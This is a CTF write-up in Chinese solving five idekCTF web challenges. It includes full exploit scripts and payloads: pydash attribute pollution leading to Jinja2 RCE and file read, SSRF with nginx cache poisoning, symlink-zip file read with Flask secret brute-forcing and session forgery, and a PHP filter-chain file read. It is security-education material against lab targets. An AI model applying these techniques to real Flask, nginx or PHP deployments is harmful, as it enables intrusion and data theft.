2023IdekCTFWriteup

WriteUp 2周前 admin
162 0 0
由于对xss不是很懂所以一般都是做的非xss部分,很高兴最终被强大的队友带飞下拿到第二名

2023IdekCTFWriteup

环境

环境可以在我的仓库下,备份了Dockerfile,可以本地搭建自己学习

https://github.com/Y4tacker/CTFBackup/tree/main/2023/IdekCTF

Task Manager

一个python写的好看的TODO LIST

2023IdekCTFWriteup

那么我们具体来看看如何实现,这里重点看,通过json传入task与status两个参数,不同参数条件进入不同分支,通过tasks对象实现了基本的功能

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
    task, status = request.json.get('task'), request.json.get('status')
    try:
        if not task or type(task) != str:
            return {"message": "You must provide a task name as a string!"}, 400
        if len(task) > 150:
            return {"message": "Tasks may not be over 150 characters long!"}, 400
        if status and len(status) > 50:
            return {"message": "Statuses may not be over 50 characters long!"}, 400
        if not status:
            tasks.complete(task)
            return {"message": "Task marked complete!"}, 200
        if type(status) != str:
            return {"message": "Your status must be a string!"}, 400
        if tasks.set(task, status):
            return {"message": "Task updated!"}, 200
        return {"message": "Invalid task name!"}, 400
    except Exception as e:
        # e.
        print(e)
        return {"message": str(e)}, 200

那这个tasks对象又是个啥呢?如下2333,很明显给你提示了protected里面存在一些骚东西,看着是很像SSTI

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pydash

class TaskManager:
    protected = ["set", "get", "get_all", "__init__", "complete"]

    def __init__(self):
        self.set("capture the flag", "incomplete")

    def set(self, task, status):
        if task in self.protected:
            return
        pydash.set_(self, task, status)
        return True

    def complete(self, task):
        if task in self.protected:
            return
        pydash.set_(self, task, False)
        return True

    def get(self, task):
        if hasattr(self, task):
            return {task: getattr(self, task)}
        return {}

    def get_all(self):
        return self.__dict__

同时我们再看看这个set_方法,看doc它支持一些链式调用

2023IdekCTFWriteup

但是也不是无敌的不像我们传统SSTI那样,它只能操作一些属性,而不能调用方法,同时他的操作对象是这个TaskManager类,同时由于代码限制我们只能为其赋值为string类型,这种思想就有点类似js当中原型链污染的感觉了

同时我们再回到app.py,如果app.env值是yojo,则会向全局模板函数中增加一个eval,通过add_template_global以后我们就能在模板里使用{{eval(payload)}}函数触发

PYTHON

1
2
3
4
@app.before_first_request
def init():
    if app.env == "yojo":
        app.add_template_global(eval)

那么现在重点就是如何通过TaskManager的实例对象获取到我们flask的app对象

有了这个一方面我们可以设置env,另一方面我们还可以控制before_first_request(毕竟这个只会在第一次加载时运行)

最终在python的debugger下通过点点点最终找到了这个app对象

2023IdekCTFWriteup

其中_got_first_request可以控制@app.before_first_request的运行

2023IdekCTFWriteup

非预期读文件

看看Dockerfile里面

DOCKERFILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM python:3.8.16-slim-bullseye

RUN apt update && apt install -y xxd

RUN python3 -m pip install flask pydash

RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt

RUN useradd ctf

USER ctf

WORKDIR /app

COPY . .

ENTRYPOINT ["python3", "app.py"]

最后调用COPY . .复制了所有的文件,看看文件结构这也就以为着把Dockerfile自身也复制进去了2333

2023IdekCTFWriteup
姿势1

可以看到这里有个_static_url_path属性,这是啥目录大家都知道一些静态资源文件都放下面

2023IdekCTFWriteup

那么如果我们设置app._static_folder / 接着访问 /static/etc/passwd

PLAINTEXT

1
{"task":"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder","status":"/"}

任意文件读

2023IdekCTFWriteup
姿势2

从app.py当中看

PYTHON

1
2
3
4
5
6
@app.route("/<path:path>")
def render_page(path):
    app._got_first_request = False
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)

如果我们访问/../app.py会怎么样呢,很显然报错了

2023IdekCTFWriteup

我们可以看看flask的实现代码,在jinja2.loaders.FileSystemLoader.get_source

在这里首先通过split_template_path处理路径

2023IdekCTFWriteup

如果我们路径当中带有..可以看到由于和os.path.pardir相等,导致抛出TemplateNotFound异常,也就是不允许跨目录

2023IdekCTFWriteup

那如果我们污染了os.path.pardir那么这里就通过了条件,不会拦截

2023IdekCTFWriteup

成功实现了跨目录读

2023IdekCTFWriteup

预期RCE

同时这里还有一个jinja_env属性我们可以看到很多有趣的属性比如auto_reload,这里还有识别模板的{%%}以及{{}}

2023IdekCTFWriteup 2023IdekCTFWriteup
姿势1

那么到了这里如果我们能找到一个py文件,这个py文件里面有eval函数,那是不是我们就能成功rce了呢?这部分我和队友一直没找到,最后出题人提供了答案,在/usr/local/lib/python3.8/turtle.py

2023IdekCTFWriteup

那么如果我们控制修改这个模板的标签,再配合污染os.path.pardir,那么是不是就能渲染任意文件顺利RCE了呢

2023IdekCTFWriteup

提供一个出题人的exp

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

base_url = "http://localhost:1337"
#base_url = "https://task-manager-dc512c530573c0b4.instancer.idek.team"

hijack_start = """'""']:\n            value = """
hijack_end = "\n"


payloads = {
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env": "yolo",
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value": "__import__('os').popen('cat /flag-*.txt').read()",
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string": hijack_start,
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string": hijack_end,
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir": "ZZZ",
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request": None,
   
}

def overwrite(attr, value):
    data = {"task": attr, "status": value}
    requests.post(base_url + "/api/manage_tasks", json=data)

def get_flag():
    url = base_url + "/../../usr/local/lib/python3.8/turtle.py"
    s = requests.Session()
    r = requests.Request(method='GET', url=url)
    prep = r.prepare()
    prep.url = url
    r = s.send(prep)
    flag = re.findall('idek{.*}', r.text)[0]
    print(flag)

for k, v in payloads.items():
    overwrite(k, v)

get_flag()
姿势2

学习自国外友人https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

从编译入手很秀,在生成模板的过程中jinja2.compiler.CodeGenerator.visit_Template

如果我们污染了exported变量那么就可以控制模板的生成

2023IdekCTFWriteup

正好是可以的

2023IdekCTFWriteup

之后访问渲染任意模板的时候就能触发RCE,很厉害!

Proxy viewer

比较有意思的题目,首先看看app.py中关键路由部分

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
app = Flask(
        __name__,
        static_url_path='/static',
        static_folder='./static',
        )

PREMIUM_TOKEN = os.urandom(32).hex()

limiter = Limiter(app, key_func=get_remote_address)

@app.after_request
def add_headers(response):
    response.cache_control.max_age = 120
    return response

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/proxy/<path:path>')
@limiter.limit("10/minute")
def proxy(path):
    remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr
    is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1"
    try:
        page = urlopen(path, timeout=.5)
    except:
        return render_template('proxy.html', auth=is_authorized)
    if is_authorized:
        output = page.read().decode('latin-1')
    else:
        output = f"<pre>{page.headers.as_string()}</pre>"
    return render_template('proxy.html', auth=is_authorized, content=output)

其中比较关键的是这个/proxy路由,存在一个ssrf漏洞,但是必须is_authorizedtrue才会返回全部结果,否则只返回响应头

另一个关键的地方就是nginx的配置,可以看见如果以/static/开头那么就会缓存对应页面内容

同时可以看到对/开头的所有请求都会增加一个XFF头,因此对于上面的remote_addr我们无法进行伪造,因为nginx对此处理是追加ip,比如(XFF:127.0.0.1,readlip)

NGINX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
events {
    worker_connections 1024;
}

http {
    include mime.types;
    proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off;

    server {

        listen 1337;
        client_max_body_size 64M;

        location / {
            proxy_set_header Host $http_host;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://localhost:3000;
        }

        location ^~ /static/ {
            proxy_pass http://localhost:3000;
            proxy_set_header Host $http_host;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
	    proxy_cache my_zone;
	    add_header X-Proxy-Cache $upstream_cache_status;
        }
    }
}

这里还要用到一个trick就是,urlopen内部处理时会在urllib.request.Request.full_url中去除#后面部分

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
@full_url.setter
def full_url(self, url):
  # unwrap('<URL:type://host/path>') --> 'type://host/path'
  self._full_url = unwrap(url)
  self._full_url, self.fragment = _splittag(self._full_url)
  self._parse()
  
def _splittag(url):
    """splittag('/path#tag') --> '/path', 'tag'."""
    path, delim, tag = url.rpartition('#')
    if delim:
        return path, tag
    return url, None

因此配合这个trick,我们先访问

PLAINTEXT

1
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a

此时flask会把file%3a///flag.txt%2523/../../../static/a整体当作

而nginx则会对url做normalize处理,最终导致nginx识别请求为http://127.0.0.1:1337/static/a

2023IdekCTFWriteup

再访问即可触发缓存

PLAINTEXT

1
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a
2023IdekCTFWriteup

SimpleFileServer

也是python的flask的题目

可以看到获得flag的条件,那就是成为admin,所以很容易猜测到考点是session伪造,而flask里面这个session的生成通常和变量app.config["SECRET_KEY"]息息相关

PYTHON

1
2
3
4
5
@app.route("/flag")
def flag():
    if not session.get("admin"):
        return "Unauthorized!"
    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

因此一切的前提是我们能获得这个SECRET_KEY

PYTHON

1
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]

而这部分生成在config.py当中

PYTHON

1
2
3
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

要爆破这部分很明显一是我们需要知道这个time.time()的值,另一个还需要知道SECRET_OFFSET的偏移

除开注册与登录路由,upoad支持上传一个zip文件并解压到指定目录

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route("/upload", methods=["GET", "POST"])
def upload():
    if not session.get("uid"):
        return redirect("/login")
    if request.method == "GET":
        return render_template("upload.html")

    if "file" not in request.files:
        flash("You didn't upload a file!", "danger")
        return render_template("upload.html")
    
    file = request.files["file"]
    uuidpath = str(uuid.uuid4())
    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])    
    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
    return redirect("/upload")

uploads/xxx路由支持我们之间读取上传解压后的文件内容

PYTHON

1
2
3
4
5
6
@app.route("/uploads/<path:path>")
def uploads(path):
    try:
        return send_from_directory(DATA_DIR + "uploads", path)
    except PermissionError:
        abort(404)

这个读文件部分按理说只能读取uploads下的文件,看看底层实现用的是safe_join不支持跨目录读取

2023IdekCTFWriteup

可以看到在这里获取路径path后,最终调用open打开文件并返回内容

2023IdekCTFWriteup

解决方法是可以配合symlink软连接实现任意文件读,这样我们一方面可以读config.py获取SECRET_OFFSET

另一方面为了得到时间

可以看到题目很良心的在server.log当中输出了time

PYTHON

1
2
3
4
5
6
7
8
9
10
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
    logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())

不过这个时间不是精确的,通过转换为时间戳我们只能精确到整数部分,不过好在这里随机数的seed是配合round做了取整因此我们就能很容易实现爆破了

2023IdekCTFWriteup

我们可以很方便配合这个信息得到time.time()的值

本地ln做一个symlink的文件

2023IdekCTFWriteup

之后爆破到SECRET_KEY后,修改admin为true再生成session即可

PYTHON

1
decoded = {'admin': True, 'uid': userinfo['username']}

最终exp,配合flask_unsign

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64

import requests, re, time, datetime, random
import flask_unsign

sess = requests.session()
SECRET_OFFSET = -67198624 * 1000
userinfo = {"username": "yyds", "password": "yyds"}
baseurl = "http://127.0.0.1:1337/"
pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA"
cookie = ""
log_url = ""

def register():
    reg_url = baseurl + "register"
    sess.post(reg_url, userinfo)


def login():
    global cookie
    set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie']
    cookie = set_cookie[8:82]


def upload():
    global log_url
    log_url = re.search('<a href="/uploads/.*">', sess.post(
        baseurl + "upload", headers={'Cookie': f'session={cookie}'},
        files={'file': base64.b64decode(pocZip)}).text).group()[9:-2]

def read():
    server_log = baseurl + log_url + "/server.log"
    config = baseurl + log_url + "/config.py"
    SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000
    log = sess.get(server_log).text
    now = (time.mktime(datetime.datetime.strptime(log.split('\n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000
    return SECRET_OFFSET,now



if __name__ == '__main__':
    register()
    login()
    upload()
    SECRET_OFFSET, now = read()
    while 1:
        decoded = {'admin': True, 'uid': userinfo['username']}
        random.seed(round(now + int(SECRET_OFFSET)))
        SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
        flag_url = baseurl + "flag"
        res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text
        if "idek" not in res:
            now += 1
            print(now)
            continue
        print(res)
        break

ReadMe

很简单签到题,算是个逻辑漏洞问题

这个程序中只有一个路由

GO

1
http.HandleFunc("/just-read-it", justReadIt)

首先简单看一下可以得出程序逻辑如果能成功走到justReadIt函数最下方就能获得flag

GO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func justReadIt(w http.ResponseWriter, r *http.Request) {
	defer r.Body.Close()

	body, err := ioutil.ReadAll(r.Body)
	if err != nil {
		w.WriteHeader(500)
		w.Write([]byte("bad request\n"))
		return
	}

	reqData := ReadOrderReq{}
	if err := json.Unmarshal(body, &reqData); err != nil {
		w.WriteHeader(500)
		w.Write([]byte("invalid body\n"))
		return
	}

	if len(reqData.Orders) > MaxOrders {
		w.WriteHeader(500)
		w.Write([]byte("whoa there, max 10 orders!\n"))
		return
	}

	reader := bytes.NewReader(randomData)
	validator := NewValidator()

	ctx := context.Background()
	for _, o := range reqData.Orders {
		if err := validator.CheckReadOrder(o); err != nil {
			w.WriteHeader(500)
			w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
			return
		}

		ctx = WithValidatorCtx(ctx, reader, int(o))
		_, err := validator.Read(ctx)
		if err != nil {
			w.WriteHeader(500)
			w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
			return
		}
	}

	if err := validator.Validate(ctx); err != nil {
		w.WriteHeader(500)
		w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
		return
	}

	w.WriteHeader(200)
	w.Write([]byte(os.Getenv("FLAG")))
}

我们一点一点来看,首先是接受了一个传来的json数据,解析保存到reqData当中,从下面可以看出只接收一个完全由数字组成的int数组,字段名叫orders

GO

1
2
3
type ReadOrderReq struct {
	Orders []int `json:"orders"`
}

之后会用randomData初始化一个reader

PLAINTEXT

1
reader := bytes.NewReader(randomData)

而这个randomData则是由initRandomData函数初始化,记住这个password复制在了12625之后

GO

1
2
3
4
5
6
7
8
func initRandomData() {
	rand.Seed(1337)
	randomData = make([]byte, 24576)
	if _, err := rand.Read(randomData); err != nil {
		panic(err)
	}
	copy(randomData[12625:], password[:])
}

初始化之后会遍历reqData.Orders

调用CheckReadOrder检查oders中的int值范围是否在0-100

GO

1
2
3
4
5
6
func (v *Validator) CheckReadOrder(o int) error {
	if o <= 0 || o > 100 {
		return fmt.Errorf("invalid order %v", o)
	}
	return nil
}

之后根据数值读出指定位数的值

GO

1
2
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)

再往下就是最关键的地方,如果这里的validate校验过了才能拿到flag

GO

1
2
3
4
5
6
7
8
if err := validator.Validate(ctx); err != nil {
		w.WriteHeader(500)
		w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
		return
	}

	w.WriteHeader(200)
	w.Write([]byte(os.Getenv("FLAG")))

这个函数功能就是读32位,之后与password比较,成功返回true,而我们前面说过这个password复制在了12625之后,并且oders数组容量最多只能有10个数字

GO

1
2
3
4
5
6
7
8
9
10
11
func (v *Validator) Validate(ctx context.Context) error {
	r, _ := GetValidatorCtxData(ctx)
	buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
	if err != nil {
		return err
	}
	if bytes.Compare(buf, password[:]) != 0 {
		return errors.New("invalid password")
	}
	return nil
}

就算全取最大100,10个也才1000,距离我们的12625还差很远

再往前看发现read之前

GO

1
2
3
4
5
6
7
8
9
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
	r, s := GetValidatorCtxData(ctx)
	buf := make([]byte, s)
	_, err := r.Read(buf)
	if err != nil {
		return nil, fmt.Errorf("read error: %v", err)
	}
	return buf, nil
}

有这样一个调用,如果size大于等于100会调用一个bufio.NewReader

GO

1
2
3
4
5
6
7
8
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
	reader := ctx.Value(reqValReaderKey).(io.Reader)
	size := ctx.Value(reqValSizeKey).(int)
	if size >= 100 {
		reader = bufio.NewReader(reader)
	}
	return reader, size
}

这个defaultBufSize是4096

GO

1
2
3
4
// NewReader returns a new Reader whose buffer has the default size.
func NewReader(rd io.Reader) *Reader {
	return NewReaderSize(rd, defaultBufSize)
}

最终

2023IdekCTFWriteup

Paywall

想看原理的移步陆队之前写的,我是脚本小子

https://tttang.com/archive/1395/#toc_iconv-filter-chain

本题是用php实现的一个blog系统,除开样式读取核心代码非常简单

PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
           
    ?>

可以看到,对于文章内容前是PREMIUM的不能读取,FREE的则可以读

很可惜我们的flag文件恰好前面也是PREMIUM,那么要想读取这个文件很显然我们可以配合php的filter构造出FREE四个字母也就可以实现读取了

2023IdekCTFWriteup

下面是工具

https://github.com/synacktiv/php_filter_chain_generator

https://github.com/WAY29/php_filter_chain_generator

发现直接生成出来的虽然有FREE,但是都无法看了

PLAINTEXT

1
FREE�B�5$TԕT���FV��F�F��U�E�7V'65##�u�C��W%��7w5�W"����>==�@C������>==�@

然而发现把每个环节的convert.iconv.UTF8.UTF7去掉

就可以变成明文了,脚本小子表示很神奇,最后为了不丢失符号(毕竟Base64字符里面没有一些特殊符号!{}!之类的),因此第一步事先base64enccode一下

最终得到payload

PLAINTEXT

1
http://127.0.0.1/?p=php://filter/convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode/resource=flag

但是根据这样构造本地发现会少最后三个字符,除开}符号还剩两个

看看题目描述可以猜出最后俩字符,Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPPaper,最后一个字母肯定是个符号所以是!

PLAINTEXT

1
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}
2023IdekCTFWriteup

当然最后发现工具也可以直接用,注意后面有俩空格

BASH

1
python php_filter_chain_generator.py --chain 'FREE  '

得到

PLAINTEXT

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

本脚本小子觉得很有意思就是了

2023IdekCTFWriteup

 

原文始发于Y4tacker:2023IdekCTFWriteup

版权声明:admin 发表于 2023年1月19日 下午9:47。
转载请注明:2023IdekCTFWriteup | CTF导航

相关文章

暂无评论

暂无评论...